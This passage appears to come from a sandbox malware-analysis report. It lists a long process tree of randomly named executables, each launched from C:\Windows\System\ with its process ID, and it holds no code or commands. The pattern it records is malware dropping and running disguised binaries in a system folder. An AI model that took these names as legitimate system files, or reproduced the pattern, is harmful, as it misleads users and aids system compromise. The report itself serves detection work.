- C:\Windows\System\IXninTt.exe
  C:\Windows\System\IXninTt.exe
  2⤵
  PID:7032
- C:\Windows\System\HmarJCh.exe
  C:\Windows\System\HmarJCh.exe
  2⤵
  PID:7048
- C:\Windows\System\wsbcItv.exe
  C:\Windows\System\wsbcItv.exe
  2⤵
  PID:7064
- C:\Windows\System\FPHeYVu.exe
  C:\Windows\System\FPHeYVu.exe
  2⤵
  PID:7084
- C:\Windows\System\VtzhtIp.exe
  C:\Windows\System\VtzhtIp.exe
  2⤵
  PID:7100
- C:\Windows\System\Iciiaxc.exe
  C:\Windows\System\Iciiaxc.exe
  2⤵
  PID:7116
- C:\Windows\System\pTPCZFg.exe
  C:\Windows\System\pTPCZFg.exe
  2⤵
  PID:7132
- C:\Windows\System\NBgeQeK.exe
  C:\Windows\System\NBgeQeK.exe
  2⤵
  PID:7148
- C:\Windows\System\WtrBDvZ.exe
  C:\Windows\System\WtrBDvZ.exe
  2⤵
  PID:7164
- C:\Windows\System\IJMdZtP.exe
  C:\Windows\System\IJMdZtP.exe
  2⤵
  PID:5196
- C:\Windows\System\xDmpJyb.exe
  C:\Windows\System\xDmpJyb.exe
  2⤵
  PID:5932
- C:\Windows\System\CHqSuwM.exe
  C:\Windows\System\CHqSuwM.exe
  2⤵
  PID:4940
- C:\Windows\System\bEiPpQm.exe
  C:\Windows\System\bEiPpQm.exe
  2⤵
  PID:6228
- C:\Windows\System\NzjwxfU.exe
  C:\Windows\System\NzjwxfU.exe
  2⤵
  PID:6292
- C:\Windows\System\lieVMcM.exe
  C:\Windows\System\lieVMcM.exe
  2⤵
  PID:5688
- C:\Windows\System\xhWWRRl.exe
  C:\Windows\System\xhWWRRl.exe
  2⤵
  PID:5520
- C:\Windows\System\WGspmqX.exe
  C:\Windows\System\WGspmqX.exe
  2⤵
  PID:6116
- C:\Windows\System\RpKeyXk.exe
  C:\Windows\System\RpKeyXk.exe
  2⤵
  PID:6240
- C:\Windows\System\ImKaezQ.exe
  C:\Windows\System\ImKaezQ.exe
  2⤵
  PID:5344
- C:\Windows\System\MHFoCAu.exe
  C:\Windows\System\MHFoCAu.exe
  2⤵
  PID:5280
- C:\Windows\System\HzLzDED.exe
  C:\Windows\System\HzLzDED.exe
  2⤵
  PID:6180
- C:\Windows\System\kchwgOG.exe
  C:\Windows\System\kchwgOG.exe
  2⤵
  PID:6312
- C:\Windows\System\RPdVkZm.exe
  C:\Windows\System\RPdVkZm.exe
  2⤵
  PID:6336
- C:\Windows\System\fOdGQPI.exe
  C:\Windows\System\fOdGQPI.exe
  2⤵
  PID:6372
- C:\Windows\System\WVKSjQo.exe
  C:\Windows\System\WVKSjQo.exe
  2⤵
  PID:6440
- C:\Windows\System\cWaMQLV.exe
  C:\Windows\System\cWaMQLV.exe
  2⤵
  PID:6508
- C:\Windows\System\cqghpPu.exe
  C:\Windows\System\cqghpPu.exe
  2⤵
  PID:6572
- C:\Windows\System\tWsrZPx.exe
  C:\Windows\System\tWsrZPx.exe
  2⤵
  PID:6644
- C:\Windows\System\GyBrdWK.exe
  C:\Windows\System\GyBrdWK.exe
  2⤵
  PID:6680
- C:\Windows\System\ZSDwCHm.exe
  C:\Windows\System\ZSDwCHm.exe
  2⤵
  PID:6748
- C:\Windows\System\fwOEQVG.exe
  C:\Windows\System\fwOEQVG.exe
  2⤵
  PID:6388
- C:\Windows\System\ruMnvOc.exe
  C:\Windows\System\ruMnvOc.exe
  2⤵
  PID:6428
- C:\Windows\System\cvEQbih.exe
  C:\Windows\System\cvEQbih.exe
  2⤵
  PID:6492
- C:\Windows\System\uFNPIva.exe
  C:\Windows\System\uFNPIva.exe
  2⤵
  PID:6588
- C:\Windows\System\Vpatjzc.exe
  C:\Windows\System\Vpatjzc.exe
  2⤵
  PID:6660
- C:\Windows\System\mJGftrD.exe
  C:\Windows\System\mJGftrD.exe
  2⤵
  PID:6728
- C:\Windows\System\ZBRaJXz.exe
  C:\Windows\System\ZBRaJXz.exe
  2⤵
  PID:6772
- C:\Windows\System\dFTVdQD.exe
  C:\Windows\System\dFTVdQD.exe
  2⤵
  PID:6560
- C:\Windows\System\LMYwepa.exe
  C:\Windows\System\LMYwepa.exe
  2⤵
  PID:6792
- C:\Windows\System\MtVjXxH.exe
  C:\Windows\System\MtVjXxH.exe
  2⤵
  PID:6888
- C:\Windows\System\sjWkcVK.exe
  C:\Windows\System\sjWkcVK.exe
  2⤵
  PID:6924
- C:\Windows\System\MGUdPRN.exe
  C:\Windows\System\MGUdPRN.exe
  2⤵
  PID:6960
- C:\Windows\System\hgkZpPa.exe
  C:\Windows\System\hgkZpPa.exe
  2⤵
  PID:7028
- C:\Windows\System\qMJZNYc.exe
  C:\Windows\System\qMJZNYc.exe
  2⤵
  PID:7096
- C:\Windows\System\IaKMWms.exe
  C:\Windows\System\IaKMWms.exe
  2⤵
  PID:7156
- C:\Windows\System\qRRLfWq.exe
  C:\Windows\System\qRRLfWq.exe
  2⤵
  PID:7004
- C:\Windows\System\YuRGNot.exe
  C:\Windows\System\YuRGNot.exe
  2⤵
  PID:7072
- C:\Windows\System\DLmZLTj.exe
  C:\Windows\System\DLmZLTj.exe
  2⤵
  PID:6840
- C:\Windows\System\EcwlukA.exe
  C:\Windows\System\EcwlukA.exe
  2⤵
  PID:6904
- C:\Windows\System\XacJyEE.exe
  C:\Windows\System\XacJyEE.exe
  2⤵
  PID:6944
- C:\Windows\System\KBQnjlw.exe
  C:\Windows\System\KBQnjlw.exe
  2⤵
  PID:6164
- C:\Windows\System\bAhXSJf.exe
  C:\Windows\System\bAhXSJf.exe
  2⤵
  PID:5452
- C:\Windows\System\khskMcL.exe
  C:\Windows\System\khskMcL.exe
  2⤵
  PID:5504
- C:\Windows\System\eVBZOFU.exe
  C:\Windows\System\eVBZOFU.exe
  2⤵
  PID:5900
- C:\Windows\System\lSkJUQi.exe
  C:\Windows\System\lSkJUQi.exe
  2⤵
  PID:6132
- C:\Windows\System\pRXnzcx.exe
  C:\Windows\System\pRXnzcx.exe
  2⤵
  PID:5700
- C:\Windows\System\gKdTlQk.exe
  C:\Windows\System\gKdTlQk.exe
  2⤵
  PID:6316
- C:\Windows\System\spzRAOD.exe
  C:\Windows\System\spzRAOD.exe
  2⤵
  PID:6540
- C:\Windows\System\QVABViF.exe
  C:\Windows\System\QVABViF.exe
  2⤵
  PID:6084
- C:\Windows\System\XJMMfNj.exe
  C:\Windows\System\XJMMfNj.exe
  2⤵
  PID:6624
- C:\Windows\System\QsZWAtv.exe
  C:\Windows\System\QsZWAtv.exe
  2⤵
  PID:6760
- C:\Windows\System\CTkWjDO.exe
  C:\Windows\System\CTkWjDO.exe
  2⤵
  PID:6368
- C:\Windows\System\EUfEcMg.exe
  C:\Windows\System\EUfEcMg.exe
  2⤵
  PID:6764
- C:\Windows\System\XaUagLZ.exe
  C:\Windows\System\XaUagLZ.exe
  2⤵
  PID:6892
- C:\Windows\System\dkrHXzJ.exe
  C:\Windows\System\dkrHXzJ.exe
  2⤵
  PID:6524
- C:\Windows\System\OElUXiX.exe
  C:\Windows\System\OElUXiX.exe
  2⤵
  PID:6724
- C:\Windows\System\QqjSHee.exe
  C:\Windows\System\QqjSHee.exe
  2⤵
  PID:6820
- C:\Windows\System\XDceBEG.exe
  C:\Windows\System\XDceBEG.exe
  2⤵
  PID:7128
- C:\Windows\System\EWmnBfZ.exe
  C:\Windows\System\EWmnBfZ.exe
  2⤵
  PID:6956
- C:\Windows\System\bZBnESn.exe
  C:\Windows\System\bZBnESn.exe
  2⤵
  PID:6972
- C:\Windows\System\oIUbkBL.exe
  C:\Windows\System\oIUbkBL.exe
  2⤵
  PID:6832
- C:\Windows\System\rzVJnlm.exe
  C:\Windows\System\rzVJnlm.exe
  2⤵
  PID:6940
- C:\Windows\System\wTalGJv.exe
  C:\Windows\System\wTalGJv.exe
  2⤵
  PID:6876
- C:\Windows\System\wSZbkGH.exe
  C:\Windows\System\wSZbkGH.exe
  2⤵
  PID:5384
- C:\Windows\System\IzpNsjo.exe
  C:\Windows\System\IzpNsjo.exe
  2⤵
  PID:6676
- C:\Windows\System\XlNBoFN.exe
  C:\Windows\System\XlNBoFN.exe
  2⤵
  PID:6604
- C:\Windows\System\AhXCpfo.exe
  C:\Windows\System\AhXCpfo.exe
  2⤵
  PID:6424
- C:\Windows\System\GyYMRTc.exe
  C:\Windows\System\GyYMRTc.exe
  2⤵
  PID:6988
- C:\Windows\System\qcbVnqX.exe
  C:\Windows\System\qcbVnqX.exe
  2⤵
  PID:6768
- C:\Windows\System\qaTtwQQ.exe
  C:\Windows\System\qaTtwQQ.exe
  2⤵
  PID:6536
- C:\Windows\System\NFnzflz.exe
  C:\Windows\System\NFnzflz.exe
  2⤵
  PID:6640
- C:\Windows\System\MHSejAJ.exe
  C:\Windows\System\MHSejAJ.exe
  2⤵
  PID:5652
- C:\Windows\System\hrnOkFH.exe
  C:\Windows\System\hrnOkFH.exe
  2⤵
  PID:7020
- C:\Windows\System\DkbEjUG.exe
  C:\Windows\System\DkbEjUG.exe
  2⤵
  PID:7060
- C:\Windows\System\dptKxEB.exe
  C:\Windows\System\dptKxEB.exe
  2⤵
  PID:6052
- C:\Windows\System\kTBmqWs.exe
  C:\Windows\System\kTBmqWs.exe
  2⤵
  PID:6356
- C:\Windows\System\KqsMTAy.exe
  C:\Windows\System\KqsMTAy.exe
  2⤵
  PID:6608
- C:\Windows\System\JazDWVO.exe
  C:\Windows\System\JazDWVO.exe
  2⤵
  PID:6288
- C:\Windows\System\vzUkXFn.exe
  C:\Windows\System\vzUkXFn.exe
  2⤵
  PID:7176
- C:\Windows\System\eijQRjD.exe
  C:\Windows\System\eijQRjD.exe
  2⤵
  PID:7192
- C:\Windows\System\MxUOfTr.exe
  C:\Windows\System\MxUOfTr.exe
  2⤵
  PID:7208
- C:\Windows\System\MOsIjrT.exe
  C:\Windows\System\MOsIjrT.exe
  2⤵
  PID:7224
- C:\Windows\System\Alysfwf.exe
  C:\Windows\System\Alysfwf.exe
  2⤵
  PID:7240
- C:\Windows\System\pcochpk.exe
  C:\Windows\System\pcochpk.exe
  2⤵
  PID:7256
- C:\Windows\System\ZDlcjwA.exe
  C:\Windows\System\ZDlcjwA.exe
  2⤵
  PID:7272
- C:\Windows\System\yKbRTRb.exe
  C:\Windows\System\yKbRTRb.exe
  2⤵
  PID:7288
- C:\Windows\System\EinRHRw.exe
  C:\Windows\System\EinRHRw.exe
  2⤵
  PID:7308
- C:\Windows\System\vYacVbE.exe
  C:\Windows\System\vYacVbE.exe
  2⤵
  PID:7324
- C:\Windows\System\SjDWIeB.exe
  C:\Windows\System\SjDWIeB.exe
  2⤵
  PID:7340
- C:\Windows\System\BMHJHSV.exe
  C:\Windows\System\BMHJHSV.exe
  2⤵
  PID:7356
- C:\Windows\System\tGVkecV.exe
  C:\Windows\System\tGVkecV.exe
  2⤵
  PID:7372
- C:\Windows\System\TUyjnYK.exe
  C:\Windows\System\TUyjnYK.exe
  2⤵
  PID:7388
- C:\Windows\System\kXntwoF.exe
  C:\Windows\System\kXntwoF.exe
  2⤵
  PID:7404
- C:\Windows\System\xBpYBMb.exe
  C:\Windows\System\xBpYBMb.exe
  2⤵
  PID:7420
- C:\Windows\System\eOJXAos.exe
  C:\Windows\System\eOJXAos.exe
  2⤵
  PID:7436
- C:\Windows\System\XPLREGP.exe
  C:\Windows\System\XPLREGP.exe
  2⤵
  PID:7452
- C:\Windows\System\YrrjczA.exe
  C:\Windows\System\YrrjczA.exe
  2⤵
  PID:7468
- C:\Windows\System\xQexWEx.exe
  C:\Windows\System\xQexWEx.exe
  2⤵
  PID:7484
- C:\Windows\System\kKzAllO.exe
  C:\Windows\System\kKzAllO.exe
  2⤵
  PID:7500
- C:\Windows\System\gKgCeIE.exe
  C:\Windows\System\gKgCeIE.exe
  2⤵
  PID:7516
- C:\Windows\System\eMoVhep.exe
  C:\Windows\System\eMoVhep.exe
  2⤵
  PID:7532
- C:\Windows\System\OFtPxwA.exe
  C:\Windows\System\OFtPxwA.exe
  2⤵
  PID:7548
- C:\Windows\System\eJtUuJw.exe
  C:\Windows\System\eJtUuJw.exe
  2⤵
  PID:7564
- C:\Windows\System\wKGxlgg.exe
  C:\Windows\System\wKGxlgg.exe
  2⤵
  PID:7580
- C:\Windows\System\FvLvooC.exe
  C:\Windows\System\FvLvooC.exe
  2⤵
  PID:7596
- C:\Windows\System\WpLdUuV.exe
  C:\Windows\System\WpLdUuV.exe
  2⤵
  PID:7612
- C:\Windows\System\zTPaUfn.exe
  C:\Windows\System\zTPaUfn.exe
  2⤵
  PID:7628
- C:\Windows\System\ZbZxbgH.exe
  C:\Windows\System\ZbZxbgH.exe
  2⤵
  PID:7644
- C:\Windows\System\EeGPKBp.exe
  C:\Windows\System\EeGPKBp.exe
  2⤵
  PID:7660
- C:\Windows\System\TvNJRho.exe
  C:\Windows\System\TvNJRho.exe
  2⤵
  PID:7676
- C:\Windows\System\qvIYqbY.exe
  C:\Windows\System\qvIYqbY.exe
  2⤵
  PID:7692
- C:\Windows\System\WthzWqj.exe
  C:\Windows\System\WthzWqj.exe
  2⤵
  PID:7708
- C:\Windows\System\XqYwPyC.exe
  C:\Windows\System\XqYwPyC.exe
  2⤵
  PID:7724
- C:\Windows\System\puLBkkl.exe
  C:\Windows\System\puLBkkl.exe
  2⤵
  PID:7748
- C:\Windows\System\xKGMGfU.exe
  C:\Windows\System\xKGMGfU.exe
  2⤵
  PID:7764
- C:\Windows\System\LZuCAbD.exe
  C:\Windows\System\LZuCAbD.exe
  2⤵
  PID:7780
- C:\Windows\System\GiqDXMs.exe
  C:\Windows\System\GiqDXMs.exe
  2⤵
  PID:7796
- C:\Windows\System\HTcfWoz.exe
  C:\Windows\System\HTcfWoz.exe
  2⤵
  PID:7812
- C:\Windows\System\rxYwqIf.exe
  C:\Windows\System\rxYwqIf.exe
  2⤵
  PID:7828
- C:\Windows\System\xRxBThF.exe
  C:\Windows\System\xRxBThF.exe
  2⤵
  PID:7844
- C:\Windows\System\OgmuSzO.exe
  C:\Windows\System\OgmuSzO.exe
  2⤵
  PID:7860
- C:\Windows\System\GyyyYEC.exe
  C:\Windows\System\GyyyYEC.exe
  2⤵
  PID:7876
- C:\Windows\System\lQfldJW.exe
  C:\Windows\System\lQfldJW.exe
  2⤵
  PID:7892
- C:\Windows\System\IDceqyX.exe
  C:\Windows\System\IDceqyX.exe
  2⤵
  PID:7908
- C:\Windows\System\XgGKVzx.exe
  C:\Windows\System\XgGKVzx.exe
  2⤵
  PID:7924
- C:\Windows\System\zBdLxYq.exe
  C:\Windows\System\zBdLxYq.exe
  2⤵
  PID:7940
- C:\Windows\System\KCParBj.exe
  C:\Windows\System\KCParBj.exe
  2⤵
  PID:7956
- C:\Windows\System\frUFKru.exe
  C:\Windows\System\frUFKru.exe
  2⤵
  PID:7972
- C:\Windows\System\tlTonff.exe
  C:\Windows\System\tlTonff.exe
  2⤵
  PID:7988
- C:\Windows\System\BfgpocN.exe
  C:\Windows\System\BfgpocN.exe
  2⤵
  PID:8004
- C:\Windows\System\IEDPQCD.exe
  C:\Windows\System\IEDPQCD.exe
  2⤵
  PID:8020
- C:\Windows\System\dEkHaXh.exe
  C:\Windows\System\dEkHaXh.exe
  2⤵
  PID:8036
- C:\Windows\System\PyeeEdt.exe
  C:\Windows\System\PyeeEdt.exe
  2⤵
  PID:8052
- C:\Windows\System\iZXXIDM.exe
  C:\Windows\System\iZXXIDM.exe
  2⤵
  PID:8068
- C:\Windows\System\pMSWDNG.exe
  C:\Windows\System\pMSWDNG.exe
  2⤵
  PID:8084
- C:\Windows\System\XUqmVnt.exe
  C:\Windows\System\XUqmVnt.exe
  2⤵
  PID:8100
- C:\Windows\System\xpMxPeE.exe
  C:\Windows\System\xpMxPeE.exe
  2⤵
  PID:8116
- C:\Windows\System\bIeAiGx.exe
  C:\Windows\System\bIeAiGx.exe
  2⤵
  PID:8132
- C:\Windows\System\OUiAPcA.exe
  C:\Windows\System\OUiAPcA.exe
  2⤵
  PID:8148
- C:\Windows\System\yIIHLtA.exe
  C:\Windows\System\yIIHLtA.exe
  2⤵
  PID:8168
- C:\Windows\System\PkFDhwx.exe
  C:\Windows\System\PkFDhwx.exe
  2⤵
  PID:8184
- C:\Windows\System\SfsvgKW.exe
  C:\Windows\System\SfsvgKW.exe
  2⤵
  PID:6476
- C:\Windows\System\koHvBtZ.exe
  C:\Windows\System\koHvBtZ.exe
  2⤵
  PID:7172
- C:\Windows\System\lKVIIoP.exe
  C:\Windows\System\lKVIIoP.exe
  2⤵
  PID:7264
- C:\Windows\System\eJfDVqE.exe
  C:\Windows\System\eJfDVqE.exe
  2⤵
  PID:7332
- C:\Windows\System\YyyZTQk.exe
  C:\Windows\System\YyyZTQk.exe
  2⤵
  PID:7092
- C:\Windows\System\ouTfSGJ.exe
  C:\Windows\System\ouTfSGJ.exe
  2⤵
  PID:6696
- C:\Windows\System\MLDvgLH.exe
  C:\Windows\System\MLDvgLH.exe
  2⤵
  PID:7220
- C:\Windows\System\TiBtvtq.exe
  C:\Windows\System\TiBtvtq.exe
  2⤵
  PID:6872
- C:\Windows\System\fllxnEH.exe
  C:\Windows\System\fllxnEH.exe
  2⤵
  PID:7396
- C:\Windows\System\HozndxW.exe
  C:\Windows\System\HozndxW.exe
  2⤵
  PID:7460
- C:\Windows\System\svpiMgx.exe
  C:\Windows\System\svpiMgx.exe
  2⤵
  PID:7348
- C:\Windows\System\NaUqtpE.exe
  C:\Windows\System\NaUqtpE.exe
  2⤵
  PID:7444
- C:\Windows\System\HwmPArO.exe
  C:\Windows\System\HwmPArO.exe
  2⤵
  PID:7496
- C:\Windows\System\cdYxAUd.exe
  C:\Windows\System\cdYxAUd.exe
  2⤵
  PID:7560
- C:\Windows\System\HZjgloT.exe
  C:\Windows\System\HZjgloT.exe
  2⤵
  PID:7624
- C:\Windows\System\VhYMYpS.exe
  C:\Windows\System\VhYMYpS.exe
  2⤵
  PID:7688
- C:\Windows\System\oHVLcCY.exe
  C:\Windows\System\oHVLcCY.exe
  2⤵
  PID:7608
- C:\Windows\System\BAquGoe.exe
  C:\Windows\System\BAquGoe.exe
  2⤵
  PID:7672
- C:\Windows\System\LrqxvVT.exe
  C:\Windows\System\LrqxvVT.exe
  2⤵
  PID:7740
- C:\Windows\System\sjBvfwD.exe
  C:\Windows\System\sjBvfwD.exe
  2⤵
  PID:7508
- C:\Windows\System\VjkqZhh.exe
  C:\Windows\System\VjkqZhh.exe
  2⤵
  PID:7576
- C:\Windows\System\nrGntIC.exe
  C:\Windows\System\nrGntIC.exe
  2⤵
  PID:7788
- C:\Windows\System\MMZkpRo.exe
  C:\Windows\System\MMZkpRo.exe
  2⤵
  PID:7852
- C:\Windows\System\LlzIXGh.exe
  C:\Windows\System\LlzIXGh.exe
  2⤵
  PID:7916
- C:\Windows\System\HEqEbJy.exe
  C:\Windows\System\HEqEbJy.exe
  2⤵
  PID:7980
- C:\Windows\System\XhHzIQi.exe
  C:\Windows\System\XhHzIQi.exe
  2⤵
  PID:8044
- C:\Windows\System\dVxunmo.exe
  C:\Windows\System\dVxunmo.exe
  2⤵
  PID:8108
- C:\Windows\System\SWqxdjx.exe
  C:\Windows\System\SWqxdjx.exe
  2⤵
  PID:7776
- C:\Windows\System\VJvkAwK.exe
  C:\Windows\System\VJvkAwK.exe
  2⤵
  PID:7872
- C:\Windows\System\ZnKzEgh.exe
  C:\Windows\System\ZnKzEgh.exe
  2⤵
  PID:7936
- C:\Windows\System\SSLnQXD.exe
  C:\Windows\System\SSLnQXD.exe
  2⤵
  PID:8000
- C:\Windows\System\LzinnoM.exe
  C:\Windows\System\LzinnoM.exe
  2⤵
  PID:8092
- C:\Windows\System\uLhWeLc.exe
  C:\Windows\System\uLhWeLc.exe
  2⤵
  PID:8032
- C:\Windows\System\nAgqibE.exe
  C:\Windows\System\nAgqibE.exe
  2⤵
  PID:8144
- C:\Windows\System\FYTmSUV.exe
  C:\Windows\System\FYTmSUV.exe
  2⤵
  PID:7296
- C:\Windows\System\cBKKdRF.exe
  C:\Windows\System\cBKKdRF.exe
  2⤵
  PID:8160
- C:\Windows\System\GUwDEMO.exe
  C:\Windows\System\GUwDEMO.exe
  2⤵
  PID:7204
- C:\Windows\System\YKyMhdD.exe
  C:\Windows\System\YKyMhdD.exe
  2⤵
  PID:6712
- C:\Windows\System\jBrJhjh.exe
  C:\Windows\System\jBrJhjh.exe
  2⤵
  PID:7428
- C:\Windows\System\cpjelaL.exe
  C:\Windows\System\cpjelaL.exe
  2⤵
  PID:7416
- C:\Windows\System\uqMiIZx.exe
  C:\Windows\System\uqMiIZx.exe
  2⤵
  PID:7656
- C:\Windows\System\xVvLzcE.exe
  C:\Windows\System\xVvLzcE.exe
  2⤵
  PID:7684
- C:\Windows\System\cOnHpFd.exe
  C:\Windows\System\cOnHpFd.exe
  2⤵
  PID:7544
- C:\Windows\System\uJthoYT.exe
  C:\Windows\System\uJthoYT.exe
  2⤵
  PID:7720
- C:\Windows\System\sZmTaaF.exe
  C:\Windows\System\sZmTaaF.exe
  2⤵
  PID:7280
- C:\Windows\System\wbvVFfs.exe
  C:\Windows\System\wbvVFfs.exe
  2⤵
  PID:5872
- C:\Windows\System\ceZclak.exe
  C:\Windows\System\ceZclak.exe
  2⤵
  PID:7216
- C:\Windows\System\mUWMUSy.exe
  C:\Windows\System\mUWMUSy.exe
  2⤵
  PID:7952
- C:\Windows\System\VOhEgmk.exe
  C:\Windows\System\VOhEgmk.exe
  2⤵
  PID:6504
- C:\Windows\System\hgsopmf.exe
  C:\Windows\System\hgsopmf.exe
  2⤵
  PID:8180
- C:\Windows\System\eXsYSng.exe
  C:\Windows\System\eXsYSng.exe
  2⤵
  PID:7968
- C:\Windows\System\gFYNqXP.exe
  C:\Windows\System\gFYNqXP.exe
  2⤵
  PID:7464
- C:\Windows\System\yAVqWwZ.exe
  C:\Windows\System\yAVqWwZ.exe
  2⤵
  PID:6460
- C:\Windows\System\OgaPcIj.exe
  C:\Windows\System\OgaPcIj.exe
  2⤵
  PID:7592
- C:\Windows\System\yjLsLTz.exe
  C:\Windows\System\yjLsLTz.exe
  2⤵
  PID:7932
- C:\Windows\System\pvGfWGd.exe
  C:\Windows\System\pvGfWGd.exe
  2⤵
  PID:8016
- C:\Windows\System\UJXTAmk.exe
  C:\Windows\System\UJXTAmk.exe
  2⤵
  PID:8140
- C:\Windows\System\xqnecLs.exe
  C:\Windows\System\xqnecLs.exe
  2⤵
  PID:7884
- C:\Windows\System\iJMkuvF.exe
  C:\Windows\System\iJMkuvF.exe
  2⤵
  PID:8196
- C:\Windows\System\jFsbmjF.exe
  C:\Windows\System\jFsbmjF.exe
  2⤵
  PID:8236
- C:\Windows\System\yEjlHBA.exe
  C:\Windows\System\yEjlHBA.exe
  2⤵
  PID:8288
- C:\Windows\System\RlPxcgd.exe
  C:\Windows\System\RlPxcgd.exe
  2⤵
  PID:8304
- C:\Windows\System\CKSnATk.exe
  C:\Windows\System\CKSnATk.exe
  2⤵
  PID:8508
- C:\Windows\System\YebTNqL.exe
  C:\Windows\System\YebTNqL.exe
  2⤵
  PID:8560
- C:\Windows\System\wWElZDn.exe
  C:\Windows\System\wWElZDn.exe
  2⤵
  PID:8628
- C:\Windows\System\mhIrxhe.exe
  C:\Windows\System\mhIrxhe.exe
  2⤵
  PID:8648
- C:\Windows\System\zFYJxHn.exe
  C:\Windows\System\zFYJxHn.exe
  2⤵
  PID:8664
- C:\Windows\System\hXxujZf.exe
  C:\Windows\System\hXxujZf.exe
  2⤵
  PID:8680
- C:\Windows\System\kZxTyPt.exe
  C:\Windows\System\kZxTyPt.exe
  2⤵
  PID:8700
- C:\Windows\System\iFDcwXh.exe
  C:\Windows\System\iFDcwXh.exe
  2⤵
  PID:8720
- C:\Windows\System\orCdvEz.exe
  C:\Windows\System\orCdvEz.exe
  2⤵
  PID:8736
- C:\Windows\System\GAinlHu.exe
  C:\Windows\System\GAinlHu.exe
  2⤵
  PID:8752
- C:\Windows\System\DAqUbaN.exe
  C:\Windows\System\DAqUbaN.exe
  2⤵
  PID:8772
- C:\Windows\System\HWgWgUm.exe
  C:\Windows\System\HWgWgUm.exe
  2⤵
  PID:8788
- C:\Windows\System\hGVkZvF.exe
  C:\Windows\System\hGVkZvF.exe
  2⤵
  PID:8808
- C:\Windows\System\esskFEL.exe
  C:\Windows\System\esskFEL.exe
  2⤵
  PID:8824
- C:\Windows\System\qfqvaGq.exe
  C:\Windows\System\qfqvaGq.exe
  2⤵
  PID:8956
- C:\Windows\System\Equgyrp.exe
  C:\Windows\System\Equgyrp.exe
  2⤵
  PID:8972
- C:\Windows\System\yzArIzR.exe
  C:\Windows\System\yzArIzR.exe
  2⤵
  PID:8988
- C:\Windows\System\eXvnuPX.exe
  C:\Windows\System\eXvnuPX.exe
  2⤵
  PID:9016
- C:\Windows\System\JmgpnIy.exe
  C:\Windows\System\JmgpnIy.exe
  2⤵
  PID:9032
- C:\Windows\System\rCkudTv.exe
  C:\Windows\System\rCkudTv.exe
  2⤵
  PID:9048
- C:\Windows\System\KHKjbhT.exe
  C:\Windows\System\KHKjbhT.exe
  2⤵
  PID:9064
- C:\Windows\System\ihWWerf.exe
  C:\Windows\System\ihWWerf.exe
  2⤵
  PID:9084
- C:\Windows\System\dejvWog.exe
  C:\Windows\System\dejvWog.exe
  2⤵
  PID:9100
- C:\Windows\System\cixoVGW.exe
  C:\Windows\System\cixoVGW.exe
  2⤵
  PID:9116
- C:\Windows\System\uguNYTh.exe
  C:\Windows\System\uguNYTh.exe
  2⤵
  PID:9132
- C:\Windows\System\NGsUnkz.exe
  C:\Windows\System\NGsUnkz.exe
  2⤵
  PID:9152
- C:\Windows\System\GJXXdlq.exe
  C:\Windows\System\GJXXdlq.exe
  2⤵
  PID:9168
- C:\Windows\System\BVGyRFg.exe
  C:\Windows\System\BVGyRFg.exe
  2⤵
  PID:9184
- C:\Windows\System\eUePvlT.exe
  C:\Windows\System\eUePvlT.exe
  2⤵
  PID:9200
- C:\Windows\System\xebGOVZ.exe
  C:\Windows\System\xebGOVZ.exe
  2⤵
  PID:8080
- C:\Windows\System\FhcYKJG.exe
  C:\Windows\System\FhcYKJG.exe
  2⤵
  PID:7320
- C:\Windows\System\NZsPkqk.exe
  C:\Windows\System\NZsPkqk.exe
  2⤵
  PID:8216
- C:\Windows\System\unVMiWU.exe
  C:\Windows\System\unVMiWU.exe
  2⤵
  PID:7188
- C:\Windows\System\aeCjuBF.exe
  C:\Windows\System\aeCjuBF.exe
  2⤵
  PID:7044
- C:\Windows\System\MlNuMAK.exe
  C:\Windows\System\MlNuMAK.exe
  2⤵
  PID:7868
- C:\Windows\System\FtpIzsn.exe
  C:\Windows\System\FtpIzsn.exe
  2⤵
  PID:7252
- C:\Windows\System\DvrCggr.exe
  C:\Windows\System\DvrCggr.exe
  2⤵
  PID:8384
- C:\Windows\System\HewCfjE.exe
  C:\Windows\System\HewCfjE.exe
  2⤵
  PID:8524
- C:\Windows\System\QpZVahB.exe
  C:\Windows\System\QpZVahB.exe
  2⤵
  PID:8576
- C:\Windows\System\mXSHkWH.exe
  C:\Windows\System\mXSHkWH.exe
  2⤵
  PID:8600
- C:\Windows\System\oakyquL.exe
  C:\Windows\System\oakyquL.exe
  2⤵
  PID:8620
- C:\Windows\System\jXhisVp.exe
  C:\Windows\System\jXhisVp.exe
  2⤵
  PID:8548
- C:\Windows\System\rPLkCpV.exe
  C:\Windows\System\rPLkCpV.exe
  2⤵
  PID:8692
- C:\Windows\System\TduhpBp.exe
  C:\Windows\System\TduhpBp.exe
  2⤵
  PID:8796
- C:\Windows\System\cnliBqV.exe
  C:\Windows\System\cnliBqV.exe
  2⤵
  PID:8840
- C:\Windows\System\pjaqkwN.exe
  C:\Windows\System\pjaqkwN.exe
  2⤵
  PID:8856
- C:\Windows\System\rMStqmz.exe
  C:\Windows\System\rMStqmz.exe
  2⤵
  PID:8872
- C:\Windows\System\mxPjxMP.exe
  C:\Windows\System\mxPjxMP.exe
  2⤵
  PID:8892
- C:\Windows\System\isKpPJC.exe
  C:\Windows\System\isKpPJC.exe
  2⤵
  PID:8912
- C:\Windows\System\BEXsWzu.exe
  C:\Windows\System\BEXsWzu.exe
  2⤵
  PID:8936
- C:\Windows\System\lkHfLAm.exe
  C:\Windows\System\lkHfLAm.exe
  2⤵
  PID:8944
- C:\Windows\System\PqGWGdp.exe
  C:\Windows\System\PqGWGdp.exe
  2⤵
  PID:9096
- C:\Windows\System\mHdgzQZ.exe
  C:\Windows\System\mHdgzQZ.exe
  2⤵
  PID:9024
- C:\Windows\System\WSdVCbr.exe
  C:\Windows\System\WSdVCbr.exe
  2⤵
  PID:8952
- C:\Windows\System\AJGoGWD.exe
  C:\Windows\System\AJGoGWD.exe
  2⤵
  PID:7540
- C:\Windows\System\CJkKAik.exe
  C:\Windows\System\CJkKAik.exe
  2⤵
  PID:8060
- C:\Windows\System\WQuLwuK.exe
  C:\Windows\System\WQuLwuK.exe
  2⤵
  PID:8252
- C:\Windows\System\SwfWnNd.exe
  C:\Windows\System\SwfWnNd.exe
  2⤵
  PID:8276
- C:\Windows\System\RPNaMkH.exe
  C:\Windows\System\RPNaMkH.exe
  2⤵
  PID:8320
- C:\Windows\System\Uwdurqt.exe
  C:\Windows\System\Uwdurqt.exe
  2⤵
  PID:8948
- C:\Windows\System\JtHJFZj.exe
  C:\Windows\System\JtHJFZj.exe
  2⤵
  PID:8356
- C:\Windows\System\bGzrVPM.exe
  C:\Windows\System\bGzrVPM.exe
  2⤵
  PID:8324
- C:\Windows\System\ygoPyWq.exe
  C:\Windows\System\ygoPyWq.exe
  2⤵
  PID:8964
